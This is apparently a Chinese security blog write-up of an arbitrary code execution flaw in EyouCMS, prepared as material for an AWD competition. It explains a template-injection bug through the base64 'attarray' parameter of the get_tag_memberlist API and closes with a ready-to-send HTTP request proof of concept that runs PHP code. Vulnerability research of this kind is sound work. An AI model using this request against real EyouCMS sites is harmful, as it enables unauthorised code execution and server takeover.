0x00 EyouCMS

EyouCms是基于TP5.0框架为核心开发的免费+开源的企业内容管理系统,专注企业建站用户需求
提供海量各行业模板,降低中小企业网站建设、网络营销成本,致力于打造用户舒适的建站体验

0x01 起因

最近正在准备给江西省大学生省赛线下AWD出题,愁啊不知道出啥。先知逛了下发现有人发了个EyouCMS的后台文件上传,于是就想去审点洞来出题。顺便写个文章去去博客上的灰。

打开CMS的码云项目,发现作者一天前刚提交了一个新版本更新记录显示任意代码执行




0x02 分析

对比代码我们可以很明显的看到这里存在一个拼接操作,随后对拼接后的语句进行模板渲染


程序先将我们POST输入的attarray进行base64解密随后与{eyou:memberlist进行拼接,最终形成类似这种形式:

{eyou:memberlist $key='$val' js='on'}htmlcode{/eyou:memberlist}

这里不难想到通过}来闭合前面的{eyou:memberlist达到任意代码执行的问题。因为解析的是json我们只需输入类似

{"}":"{php}phpinfo();{/php}"}

base64编码后的内容即可控制模板达到任意代码执行的目的。

0x03 触发

我们向前查找触发逻辑可知,整个代码仅由一个if语句控制,我们只需在POST包中加入

X-Requested-With: XMLHttpRequest

便可成功触发逻辑达到任意代码执行的目的



POC:

POST /index.php?m=api&c=Ajax&a=get_tag_memberlist HTTP/1.1
Host: 10.211.55.3Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequestAccept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
htmlcode=xiaobei&attarray=eyJ9Ijoie3BocH1waHBpbmZvKCk7e1wvcGhwfSJ9